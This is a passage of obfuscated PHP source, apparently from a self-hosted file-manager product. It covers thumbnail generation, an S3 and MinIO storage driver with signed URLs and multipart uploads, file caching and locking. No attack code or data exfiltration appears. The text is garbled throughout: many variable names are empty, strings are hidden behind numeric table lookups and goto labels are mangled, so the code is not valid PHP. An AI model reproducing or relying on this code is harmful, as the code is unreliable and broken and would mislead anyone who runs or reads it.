$GLOBALS[$ʺ[172]] : array(); if ($Ɋ܂ && $Ɋ܂[$ʺ[173]] == $[$ʺ[87]]) { $ = $Ɋ܂; $ݗ = $[$ʺ[174]]; if ($ݗ && isset($ݗ[$ʺ[175]])) { if ($ݗ[$ʺ[175]] <= $言 && $ݗ[$ʺ[176]] <= $言) { $̐º = !0; } } } if ($[$ʺ[79]] <= 1024 * 50 || $̐º || !function_exists($ʺ[177]) || $[$ʺ[178]] == $ʺ[179]) { return $this->fileOut($㠫‰, !1, $[$ʺ[32]]); } $ = kodIO::hashPath($); $Ѓ㵗 = "\143\157\x76\145\x72\137{$}\137{$言}\x2e\160\156\147"; $ = IO_PATH_SYSTEM_TEMP . $ʺ[180]; $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$ʺ[87]] : $ʺ[12]; if (!$) { $ = IO::mkdir($); } if ($[$ʺ[181]] == $ʺ[182] && isset($[$ʺ[183]]) && $[$ʺ[183]] == kodIO::sourceID($)) { $ = $[$ʺ[184]]; if ($言 <= 500) { $ª = preg_replace($ʺ[185], $ʺ[186], $[$ʺ[32]]); $ = IO::fileNameExist($, $ª); } return IO::fileOut(KodIO::make($), !1, $[$ʺ[32]]); } $Ν = IO::fileNameExist($, $Ѓ㵗); if ($Ν) { return IO::fileOut(KodIO::make($Ν), !1, $[$ʺ[32]]); } if ($言 > 1000) { $this->makeImageCover($, $㠫‰, $Ѓ㵗, $言); $this->makeImageCover($, $㠫‰, "\x63\157\166\x65\162\137{$}\x5f\x32\x35\60\56\x70\x6e\x67", 250); $Ν = IO::fileNameExist($, $Ѓ㵗); if ($Ν) { return IO::fileOut(KodIO::make($Ν), !1, $[$ʺ[32]]); } die; } $՞ = Cache::get($Ѓ㵗); if ($՞ == $ʺ[187] || $՞ == $ʺ[188]) { echo $՞; die; } Cache::set($Ѓ㵗, $ʺ[188], 60); $콂 = array($, $[$ʺ[87]], $Ѓ㵗, $言); $ = $ʺ[189] . $[$ʺ[79]] . $ʺ[190] . $Ѓ㵗 . $ʺ[191] . $[$ʺ[32]] . $ʺ[192] . $[$ʺ[87]]; TaskQueue::add($ʺ[193], $콂, $, $Ѓ㵗); } public function makeImageCover($Ρ, $ס, $”ʦ, $ꨭ) { $ӫ =& $_SERVER[]; if (IO::fileNameExist($Ρ, $”ʦ)) { return $ӫ[194]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $Ƭ = DATA_THUMB . $”ʦ; del_file($Ƭ); $ކ = TEMP_FILES . $”ʦ; if (!@file_exists($ކ)) { $ކ = $this->download($ס, $ކ); } if (!@file_exists($ކ)) { return $ӫ[195]; } ImageThumb::createThumb($ކ, $Ƭ, $ꨭ, $ꨭ * 10); if (@file_exists($Ƭ)) { Cache::remove($”ʦ); return IO::move($Ƭ, $Ρ); } Cache::set($”ʦ, $ӫ[187], 600); del_file($Ƭ); return $ӫ[196] . $ކ . $ӫ[74]; } public function fileOutImageServer($, $י = 250) { $this->fileOutImage($, $י); } public function fileNameAuto($ز, $Ğѳ, $ˎ = REPEAT_RENAME, $ = false) { $๧ =& $_SERVER[]; $ҝ = $ز === $๧[12] ? $Ğѳ : rtrim($ز, $๧[8]) . $๧[8] . $Ğѳ; if ($ˎ == REPEAT_REPLACE || !$this->exist($ҝ) || $ && $ˎ != REPEAT_RENAME_FOLDER) { return $Ğѳ; } if ($ˎ == REPEAT_SKIP) { return !1; } $Ǯ = $๧[10] . get_path_ext($Ğѳ); $Ǯ = $Ǯ == $๧[10] || $ ? $๧[12] : $Ǯ; $ߔ = 1; $Ɣ = substr($Ğѳ, 0, strlen($Ğѳ) - strlen($Ǯ)); $ = $Ɣ . "\x28{$ߔ}\x29{$Ǯ}"; while ($this->exist(rtrim($ز, $๧[8]) . $๧[8] . $)) { $ = $Ɣ . "\x28{$ߔ}\x29{$Ǯ}"; $ߔ++; } return $; } private function fileNameAutoList($, $խ, $ = false) { $נ =& $_SERVER[]; $Ý = $this->listPath($, !0); $Ý = array_merge($Ý[$נ[85]], $Ý[$נ[86]]); $ԅ = array_to_keyvalue($Ý, $נ[12], $נ[32]); $IJǸ = $נ[10] . get_path_ext($խ); $IJǸ = $IJǸ == $נ[10] || $ ? $נ[12] : $IJǸ; $¹ = substr($խ, 0, strlen($խ) - strlen($IJǸ)); $˳ = $¹ . "\x28\x30\51{$IJǸ}"; for ($ = 1; $ <= count($ԅ) + 1; $++) { $˳ = $¹ . "\x28{$}\x29{$IJǸ}"; if (!in_array_not_case($˳, $ԅ)) { return $˳; } } return $˳; } public function listAllFiles($Љ, $) { $ =& $_SERVER[]; if (empty($)) { return array(); } $⧙ = array_keys($); $ = array(); $Љ = trim($Љ, $[8]); foreach ($ as $ݳ => $㔙) { $ʨ = ltrim(substr(trim($ݳ, $[8]), strlen($Љ)), $[8]); if (substr($ݳ, -1) == $[8]) { $ʨ = rtrim($ʨ, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($ʨ)); } $ע = array(); foreach (array_unique($) as $) { $򹒎 = array($[87] => $this->getPathOuter($[8] . $Љ . $[8] . $), $[78] => 1, $[79] => 0); if (substr($, -1) != $[8]) { $򹒎[$[78]] = 0; $ѽ = $this->getPath($Љ . $[8] . $); if (isset($[$ѽ])) { $ = $[$ѽ]; if (isset($[$[79]])) { $򹒎[$[79]] = intval($[$[79]]); } if (isset($[$[197]])) { $򹒎[$[88]] = intval($[$[197]]); } } } $ע[] = $򹒎; } return $ע; } public function slicePath($) { $п =& $_SERVER[]; $ = explode($п[8], trim($, $п[8])); $ = 0; do { ++$; $φ[] = implode($п[8], array_slice($, 0, $)) . $п[8]; } while ($ < count($)); $φ[count($) - 1] = $; return $φ; } public function getHost() { $ݜ =& $_SERVER[]; $ = parse_url(trim($this->domain, $ݜ[8])); $뗝 = isset($[$ݜ[198]]) ? $[$ݜ[198]] : http_type(); $鯠 = isset($[$ݜ[199]]) ? $[$ݜ[199]] : $[$ݜ[87]]; if (isset($[$ݜ[200]])) { $鯠 .= $ݜ[4] . $[$ݜ[200]]; } return $뗝 . $ݜ[201] . $鯠; } public function pathEncode($) { $ =& $_SERVER[]; return str_replace($[202], $[8], rawurlencode($)); } public function writeLog($־ = '', $ = false) { $м =& $_SERVER[]; $ɒ = in_array(ACTION, array($м[203], $м[204])); if (!$ɒ && !GLOBAL_DEBUG) { return; } $ڠ = $־; static $϶ = null; if (!$϶) { $϶ = strtoupper($this->getType()); } $־ = $϶ . $м[205] . $־; if ($) { $ = error_get_last(); if ($) { $־ = array($־, $); } } write_log($־, $м[206]); if ($ɒ) { throw new Exception($ڠ); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[][207]; parent::__construct(); $this->_init($); } public function _init($ĉ֎) { $짍 =& $_SERVER[]; $this->config = $ĉ֎; foreach ($ĉ֎ as $Ρ => $ݱ) { if (isset($this->{$Ρ})) { $this->{$Ρ} = $ݱ; } } $this->endpoint = $ĉ֎[$짍[208]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); if (in_array(ACTION, array($짍[203], $짍[204]))) { $this->client->setExceptions(); } } public function setSignVersion($ۣ = "\166\x34") { $this->signVer = $ۣ; $this->client->setSignatureVersion($ۣ); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $ȕ) { return null; } } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$[209]])) { $[$[209]] = explode($[50], $[$[209]]); } if ($[$[210]] != $[211] || !in_array($[211], $[$[209]])) { return !1; } $ͲЫ = array_map($[212], $[$[213]]); if (!is_array($ͲЫ)) { $ͲЫ = array(); } $өډ = array($[214], $[215], $[216], $[217], $[218]); $ = array_diff($өډ, $ͲЫ); return empty($); } public function getBucketRgn() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($߱, $֚ = '', $ = REPEAT_RENAME) { $͜ = $this->setContent($߱, $֚); if ($͜ !== !1) { return $this->getPathOuter($߱); } return !1; } public function mkdir($, $ؓ = REPEAT_SKIP) { $ =& $_SERVER[]; if (empty($) && $ !== $[219]) { return !1; } if ($ؓ && $this->_isFolder($)) { return $this->getPathOuter($); } $ = $this->setContent($, $[12], !0); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($א, $, $Ҷ = array()) { $ӿ =& $_SERVER[]; $ = $this->objectMeta($א); if (!$) { return !1; } if ($[$ӿ[79]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $א, $this->bucket, $, $ӿ[220], $Ҷ); } else { $ = $this->client->multiCopyObject($this->bucket, $א, $this->bucket, $, $Ҷ); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($ˆ, $) { if ($this->copyFile($ˆ, $)) { $this->delFile($ˆ); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($蛶) { $ =& $_SERVER[]; if (!$this->exist($蛶)) { return !0; } $this->listItemCache = !1; $ĸ = $this->fileList($蛶); $this->listItemCache = !0; $ = trim($蛶, $[8]) . $[8]; if (!empty($蛶) && $蛶 !== $[219] && !in_array($, $ĸ[$[85]])) { $ĸ[$[85]][] = $; } $ަ = $this->delByBatch($ĸ[$[86]]); if (!$ަ) { return !1; } $ަ = $this->delByBatch($ĸ[$[85]]); if (!$ަ) { return !1; } return $this->delFile($); } private function delByBatch($ǒ) { foreach (array_chunk($ǒ, 1000) as $參ŷ) { $ķ = $this->client->deleteObjects($this->bucket, $參ŷ); if (!$ķ) { return !1; } } return !0; } public function rename($꣮, $Ă) { return $this->renameObject($꣮, $Ă); } public function listPath($Ѳ£, $ = false) { $ =& $_SERVER[]; $Ϣ = $this->fileList($Ѳ£, $[8], !0); foreach ($Ϣ[$[85]] as $ => $ܽ) { $Ϣ[$[85]][$] = $this->folderInfo($ܽ, $, $ܽ); } foreach ($Ϣ[$[86]] as $ => $ܽ) { $Ϣ[$[86]][$] = $this->fileInfo($ܽ[$[32]], $, $ܽ); } return $Ϣ; } protected function infoChildren($ၞ, &$젆ȩ) { $Ӹ =& $_SERVER[]; $߀ = $this->fileList($ၞ, $Ӹ[12], !0); $젆ȩ[$Ӹ[81]] += count($߀[$Ӹ[85]]); $젆ȩ[$Ӹ[80]] += count($߀[$Ӹ[86]]); foreach ($߀[$Ӹ[86]] as $) { if (!$ || !$[$Ӹ[79]]) { continue; } $젆ȩ[$Ӹ[79]] += $[$Ӹ[79]]; } } private function fileInfo($ۭ, $˯ = false, $ = array()) { $ =& $_SERVER[]; $ꢃ = array($[32] => $this->pathThis($ۭ), $[87] => $this->getPathOuter($ۭ), $[33] => $[221], $[178] => $this->ext($ۭ), $[79] => isset($[$[79]]) ? $[$[79]] : 0); if ($˯) { return $ꢃ; } $ꢃ[$[222]] = $ꢃ[$[88]] = 0; $ꢃ[$[223]] = $ꢃ[$[224]] = !0; if (empty($)) { $ = $this->objectMeta($ۭ); if (!$) { return $ꢃ; } } if (isset($[$[225]]) && $[$[225]]) { $ꢃ[$[226]] = $[$[225]]; } if (isset($[$[197]])) { $ꢃ[$[88]] = $[$[197]]; } if (isset($[$[79]])) { $ꢃ[$[79]] = $[$[79]]; } return $ꢃ; } private function folderInfo($ٔ, $ = false, $ˇ = array()) { $խ =& $_SERVER[]; $֮ = array($խ[32] => $this->pathThis($ٔ), $խ[87] => $this->getPathOuter($խ[8] . $ٔ), $խ[33] => $խ[78]); if ($) { return $֮; } $֮[$խ[222]] = $֮[$խ[88]] = 0; $֮[$խ[223]] = $֮[$խ[224]] = !0; if ($ٔ == $խ[12]) { return $֮; } if (empty($ˇ)) { $ˇ = $this->objectMeta(trim($ٔ, $խ[8]) . $խ[8]); } if (isset($ˇ[$խ[197]])) { $֮[$խ[222]] = $ˇ[$խ[197]]; } return $֮; } private function fileList($ױ, $ӵ = '', $ɡ = 0) { $慛 =& $_SERVER[]; $ܦ = rtrim($ױ, $慛[8]) . $慛[8]; $ջ = $this->listObjs($ܦ, null, null, $ӵ); if (!$ջ) { return array($慛[85] => array(), $慛[86] => array()); } $֍۩ = $ = array(); foreach ($ջ[$慛[227]] as $) { $΁ = $[$慛[32]]; if ($΁ == $ܦ) { continue; } $ = isset($[$慛[79]]) ? $[$慛[79]] : 0; $Μ = $ == 0 && substr($΁, strlen($΁) - 1, 1) == $慛[8] ? !0 : !1; $this->cacheMethodInfoSet($΁, $Μ, $); if ($Μ) { $֍۩[] = $΁; continue; } $[] = $ɡ ? $ : $΁; } foreach ($ջ[$慛[228]] as $) { $֍۩[] = $[$慛[32]]; $this->cacheMethodInfoSet($[$慛[32]], !0); } $this->cacheMethodInfoSet($ױ, !0); return array($慛[85] => $֍۩, $慛[86] => $); } private function listObjs($੿, $Η܄ = null, $ļ = null, $В = null) { $ڤ㐑 =& $_SERVER[]; $੿ = trim($੿, $ڤ㐑[8]); $ٙŲ = empty($੿) && $੿ !== $ڤ㐑[219] ? $ڤ㐑[12] : $੿ . $ڤ㐑[8]; return $this->client->getBucket($this->bucket, $ٙŲ, $Η܄, $ļ, $В, !0); } public function has($, $ = false, $喇 = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $Щ = empty($) && $ !== $[219] ? $[12] : $ . $[8]; $Ɩ = null; $Ø = 500; $ = $[8]; $ = $ = array(); while (!0) { $뷑 = $this->listObjs($, $Ɩ, $Ø, $); if (!$뷑) { break; } $Ɩ = $뷑[$[229]]; $ = $뷑[$[227]]; $ = $뷑[$[228]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$[32]] == $Щ) { break; } if ($) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if ($Ɩ === null) { break; } continue; } if ($喇) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $Щ) { return !0; } } } else { if (!empty($)) { return !0; } } if ($Ɩ === null) { break; } } if ($) { $ = array_diff($, array($Щ)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[230] => $, $[231] => $); } return !1; } public function listAll($ϣ) { $ =& $_SERVER[]; $ = $this->fileList($ϣ, $[12], !0); $Ⱦ = array_to_keyvalue($[$[86]], $[32]); foreach ($[$[85]] as $) { if (is_string($)) { $Ⱦ[$] = array($[79] => 0); } } return $this->listAllFiles($ϣ, $Ⱦ); } public function canRead($) { $״ =& $_SERVER[]; $ێ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$ێ) { return !1; } return in_array($ێ, array($״[232], $״[233], $״[234])) ? !0 : !1; } public function canWrite($̵) { $ =& $_SERVER[]; $Š = $this->client->getAccessControlPolicy($this->bucket, $̵); if (!$Š) { return !1; } return in_array($Š, array($[232], $[233])) ? !0 : !1; } public function getContent($׀) { return $this->client->getObject($this->bucket, $׀); } public function setContent($ל, $ɬ = '', $ҿ = false) { $ =& $_SERVER[]; $ל = $ҿ ? trim($ל, $[8]) . $[8] : $ל; $鼿 = get_file_mime(get_path_ext($ל)); $ɡ = $this->client->putObject($ɬ, $this->bucket, $ל, $[220], array(), $鼿); if (!$ɡ) { return !1; } if ($ҿ) { return !0; } return $ɡ ? !0 : !1; } public function fileSubstr($, $ܙ, $ĉ) { $ = $ܙ + $ĉ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[][235] => "\x62\171\x74\x65\163\75{$ܙ}\x2d{$}")); } public function upload($̥, $կށ, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = array($[236] => @md5_file($կށ)); $ꯘ = array($[237] => get_file_mime(get_path_ext($̥))); if (IO::size($կށ) <= 1024 * 1024 * 200) { $㯡 = $this->client->putObjectFile($կށ, $this->bucket, $̥, $[220], $, $ꯘ); return !empty($㯡) ? $this->getPathOuter($̥) : !1; } $ᅕ = $this->client->multiUploadObject($կށ, $this->bucket, trim($̥, $[8]), $, $ꯘ); return $ᅕ ? $this->getPathOuter($̥) : !1; } public function download($㄰ҩ, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ѣ = $this->client->getObject($this->bucket, $㄰ҩ, array(), $); return $ѣ !== !1 ? $ : !1; } public function link($Ϥۑ, $Ӱ = array()) { $ =& $_SERVER[]; if ($this->signVer == $[238]) { return $this->client->getAuthenticatedURL($this->bucket, $Ϥۑ, 3600 * 12, $Ӱ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($Ϥۑ, $[8]), 3600 * 12, $this->region, array(), !0, $Ӱ); } public function fileOut($, $ש똰 = false, $К = false, $ = '') { $ߔ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ש똰, $К, $); } if (!$К) { $К = $this->pathThis($); } $ = get_file_mime(get_path_ext($К)); if ($ == $ߔ[239]) { return parent::fileOut($, $ש똰, $К, $); } $‘ = array($ߔ[240] => $); if ($ש똰) { $‘[$ߔ[241]] = $ߔ[242] . rawurlencode($К); } else { } $ = $this->link($, $‘); $this->fileOutLink($); } public function fileOutServer($ޛ븺, $ = false, $ʮ = false, $ = '') { parent::fileOut($ޛ븺, $, $ʮ, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ǹ, $ = '') { $Ԉ = $this->objectMeta($ǹ); if (!$Ԉ) { return !1; } $ = $ ? $ : _get($Ԉ, $_SERVER[][243]); return $; } public function uploadFormData($, $Ý = 3600) { $ =& $_SERVER[]; $҂Ј = $this->pathFather($); $ɫ = $this->client->getHttpUploadPostParams($this->bucket, $҂Ј, $[220], $Ý); return array_merge((array) $ɫ, array($[199] => $this->getHost())); } public function multiUploadFormData($, $ި = 3600) { $ =& $_SERVER[]; $޼ = gmdate($[244]); $챱 = array(); $ڽ = $this->client->getUploadId($this->bucket, $, $챱); if (!$ڽ) { return !1; } return array($[245] => $ڽ, $[199] => $this->getHost() . $[8] . $this->pathEncode($), $[246] => $޼, $[97] => $); } public function multiUploadAuthData($ӯ, $ɭ = array()) { $Ǥ =& $_SERVER[]; $ = isset($ɭ[$Ǥ[246]]) ? $ɭ[$Ǥ[246]] : gmdate($Ǥ[244]); $ǿ = isset($ɭ[$Ǥ[178]]) ? $ɭ[$Ǥ[178]] : $Ǥ[12]; $ = $ɭ[$Ǥ[97]]; unset($ɭ[$Ǥ[97]]); if (isset($ɭ[$Ǥ[247]])) { $ɭ[$Ǥ[246]] = $; return $this->listUploadParts($, $ɭ); } $ = array($Ǥ[248], $Ǥ[12], $Ǥ[123], $Ǥ[12], "\x78\x2d\141\155\172\x2d\x64\x61\164\x65\x3a{$}", $Ǥ[8] . $this->bucket . $Ǥ[8] . $this->pathEncode($) . $ǿ); if (strpos($ǿ, $Ǥ[249]) === 0) { $[0] = $Ǥ[250]; } if (isset($ɭ[$Ǥ[251]]) && $ɭ[$Ǥ[251]] == $Ǥ[252]) { $[0] = $Ǥ[252]; } $ = implode($Ǥ[253], $); $ = base64_encode(hash_hmac($Ǥ[254], $, $this->secret, !0)); $뱀σ = $Ǥ[255] . $this->accessKey . $Ǥ[4] . $; if (strpos($ǿ, $Ǥ[249]) === 0) { return array($Ǥ[256] => $뱀σ, $Ǥ[246] => $); } return $뱀σ; } public function listUploadParts($׹, $ = array()) { $ =& $_SERVER[]; $è = str_replace($[257], $[12], $[$[178]]); $ͣ = $this->client->listParts($this->bucket, $׹, $è); if (!$ͣ) { return !1; } unset($[$[247]], $[$[251]]); $[$[97]] = $׹; $ۑҁ = $this->multiUploadAuthData($׹, $); if (empty($ۑҁ)) { return !1; } return array($[256] => $ۑҁ, $[246] => $[$[246]], $[258] => $ͣ); } public function getHost() { $Ҹ =& $_SERVER[]; $ = parent::getHost(); if (!$this->osType) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($Ҹ[70], $Ҹ[64], $Ҹ[69], $Ҹ[62]))) { return $ . $Ҹ[8] . $this->bucket; } $ = explode($Ҹ[201], $); return $[0] . $Ҹ[201] . $this->bucket . $Ҹ[10] . $[1]; } public function size($Ƣ) { $ = $this->objectMeta($Ƣ); return $ ? $[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($φ) { return $this->isFile($φ) || $this->isFolder($φ); } public function isFile($޶) { return !$this->isFolder($޶) && $this->objectMeta($޶); } public function isFolder($) { return $this->cacheMethod($_SERVER[][169], $); } protected function objectMeta($ў) { return $this->cacheMethod($_SERVER[][171], $ў); } protected function _objectMeta($ԍ) { $ɶ =& $_SERVER[]; $ԍ = rtrim($ԍ, $ɶ[8]); try { $Ƿ = $this->client->getObjectInfo($this->bucket, $ԍ); if (!isset($Ƿ[$ɶ[243]]) && isset($Ƿ[$ɶ[259]])) { $Ƿ[$ɶ[243]] = $Ƿ[$ɶ[259]]; } } catch (Exception $ǘН) { $Ƿ = !1; } if (!$Ƿ) { } return $Ƿ; } protected function _isFolder($) { $ױ =& $_SERVER[]; $ = rtrim($, $ױ[8]); if ($ == $ױ[12] || $ == $ױ[8]) { return !0; } $鎽 = $this->client->getBucket($this->bucket, $, null, 1); if (empty($鎽[$ױ[227]])) { return !1; } $ = $鎽[$ױ[227]][0][$ױ[32]]; return stripos($, $ . $ױ[8]) === 0 ? !0 : !1; if (substr($, -1) == $ױ[8]) { return !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } public function listObject($ܸ҆) { return $this->fileList($ܸ҆, $_SERVER[][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { $ɍ =& $_SERVER[]; parent::__construct($); $this->setSignVersion($ɍ[238]); if (!$this->region) { $this->region = $ɍ[260]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $秈 = $this->getBucketRgn(); return $this->region == $秈 ? !0 : !1; } public function uploadFormData($, $ = 3600) { $ۥ =& $_SERVER[]; $ = $ۥ[220]; $ = $ۥ[261]; $̈竣 = $ۥ[62]; $ɚ = gmdate($ۥ[262]); $º = gmdate($ۥ[263]); $ = $ۥ[264]; $Ͻž = $ . $ۥ[12]; $ֻ = $ۥ[265]; $ = array($this->accessKey, $º, $this->region, $̈竣, $); $ = implode($ۥ[8], $); $ = array($ۥ[266] => gmdate($ۥ[267], strtotime($ۥ[268])), $ۥ[269] => array(array($ۥ[270] => $this->bucket), array($ۥ[271] => $), array($ۥ[272], $ۥ[273], $ۥ[12]), array($ۥ[272], $ۥ[274], $ۥ[12]), array($ۥ[272], $ۥ[275], $ۥ[12]), array($ۥ[276] => $ֻ), array($ۥ[277] => $), array($ۥ[278] => $), array($ۥ[279] => $ɚ), array($ۥ[280] => $Ͻž))); $ = base64_encode(json_encode($)); $൵֘ = hash_hmac($ۥ[281], $º, $ۥ[282] . $this->secret, !0); $𥡇 = hash_hmac($ۥ[281], $this->region, $൵֘, !0); $ = hash_hmac($ۥ[281], $̈竣, $𥡇, !0); $繆 = hash_hmac($ۥ[281], $, $, !0); $ՙ = hash_hmac($ۥ[281], $, $繆); $͋ = array($ۥ[237] => $ۥ[12], $ۥ[283] => $ۥ[12], $ۥ[271] => $, $ۥ[276] => $ֻ, $ۥ[284] => $, $ۥ[285] => $, $ۥ[286] => $, $ۥ[287] => $ɚ, $ۥ[288] => $Ͻž, $ۥ[289] => $ՙ, $ۥ[199] => $this->getHost()); return $͋; } } goto Fᄷ剿; fߐ̫: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($˙, $ϐ) { $ =& $_SERVER[]; $this->cachePath = $˙[$[87]]; $this->prefix = $[879]; $this->cacheTime = $ϐ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($̋) { $ =& $_SERVER[]; $̋ = str_replace(array($[880], $[100], $[76]), $[881], $̋); return $this->cachePath . $[882] . $̋ . $[883]; } public function set($Ӟ, $Ϡ, $ = false) { $ = $ ? $ : $this->cacheTime; $枛 = $this->getFile($Ӟ); if (file_put_contents($枛, $this->prefix . $Ϡ, LOCK_EX)) { @touch($枛, intval(time() + $)); clearstatcache(); return !0; } @unlink($枛); return !1; } public function get($Ԗ) { $ = $this->getFile($Ԗ); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $ß) { $ = $this->cachePath . $ß; if (strpos($, $[883]) && strpos($, $[884])) { @unlink($); } } } public function clearTimeout() { $᣾ =& $_SERVER[]; $󕧬 = scandir($this->cachePath); foreach ($󕧬 as $) { $ = $this->cachePath . $; if (strpos($, $᣾[883]) && strpos($, $᣾[884]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $˷ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ĥ = $GLOBALS[$˷[6]][$˷[400]]; self::$timeout = $ĥ[$˷[885]] ? $ĥ[$˷[885]] : 10; $ܙ = _get($GLOBALS[$˷[6]], $˷[886]); $ = $ĥ[$˷[871]] ? $ĥ[$˷[871]] : $˷[221]; if ($ == $˷[21] && $ܙ == $˷[13]) { $ = $˷[221]; } switch ($) { case $˷[874]: self::$handle = new CacheLockRedis(); break; case $˷[875]: self::$handle = new CacheLockMemcached(); break; case $˷[21]: self::$handle = new CacheLockDatabase(); break; case $˷[221]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($˷[887], $˷[888]); } return self::$handle; } private static function key($ށ) { return $_SERVER[][889] . Cache::key($ށ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ǻ = '') { self::$errorMsg = $ǻ; } public static function lockGlobal($ם, $) { return self::lock($ם, $, !0); } public static function lock($܃, $Ҵ = false, $Ȣ = false) { $ϑ =& $_SERVER[]; $ = self::init(); $ = self::key($܃); $Ҵ = $Ҵ ? $Ҵ : self::$timeout; $鰛 = timeFloat(); $ = $->lock($, $Ҵ); $í = timeFloat(); if (!$) { $ˮ = "\154\157\143\153\x20\145\x72\162\x6f\162\x3b\x6b\145\171\75{$܃}\x3b\x74\x69\x6d\145\x3d{$Ҵ}\x3b" . self::$errorMsg . $ϑ[74] . get_caller_msg(); $Ÿ = LNG($ϑ[890]) . "\x28{$Ҵ}\163\51\x2e" . LNG($ϑ[891]); $Ÿ .= $ϑ[892]; if (is_string(self::$errorMsg) && self::$errorMsg) { $Ÿ = $Ÿ . $ϑ[893] . self::$errorMsg; } write_log($ϑ[894] . sprintf($ϑ[895], timeFloat() - $鰛) . $ϑ[896] . $ˮ . $ϑ[897] . error_get_last(), $ϑ[888]); show_json($Ÿ, !1); } if (!$Ȣ) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $í, 3); write_log($ϑ[898] . $܃ . $ϑ[899] . $, $ϑ[888]); } return $; } public static function lockGet($) { $ն = self::key($); if (self::$lockItem[$ն]) { return self::$lockItem[$ն]; } return self::init()->lockGet($ն); } public static function unlock($ijׇ) { $ =& $_SERVER[]; $ = self::key($ijׇ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[900] . $ijׇ, $[888]); } return; } public static function unlockRuntime() { $۵ =& $_SERVER[]; $Ԑ = self::init(); $ = !1; foreach (self::$lockItem as $é => $󧆬) { if (!$󧆬) { continue; } $Ԑ->unlock($é); if (!$) { $ = !0; write_log($۵[901] . $é . $۵[74] . get_caller_msg(), $۵[888]); continue; } write_log($۵[901] . $é, $۵[888]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $嶢괎 = number_format(timeFloat() - TIME_FLOAT, 3); write_log($۵[902] . $嶢괎 . $۵[903] . ACTION, $۵[888]); } } public static function fileLock($ⵓ) { $ǃ͝ =& $_SERVER[]; if (!$GLOBALS[$ǃ͝[904]]) { $GLOBALS[$ǃ͝[904]] = array(); } $GLOBALS[$ǃ͝[904]][$ⵓ] = !1; $ = fopen(DATA_PATH . $ⵓ . $ǃ͝[905], $ǃ͝[906]); if (!$) { return !1; } $GLOBALS[$ǃ͝[904]][$ⵓ] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($ⵓ); show_json($ǃ͝[907], !1); return !1; } public static function fileUnlock($ڴ؝) { $軥 =& $_SERVER[]; $ = $GLOBALS[$軥[904]][$ڴ؝]; if (!$) { return; } $GLOBALS[$軥[904]][$ڴ؝] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[904]]) { return; } foreach ($GLOBALS[$[904]] as $ͮ => $ԛ) { if (!$ԛ) { continue; } $GLOBALS[$[904]][$ͮ] = !1; flock($ԛ, LOCK_UN); fclose($ԛ); } $GLOBALS[$[904]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto e̍; F҇÷: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ɑ, $곋 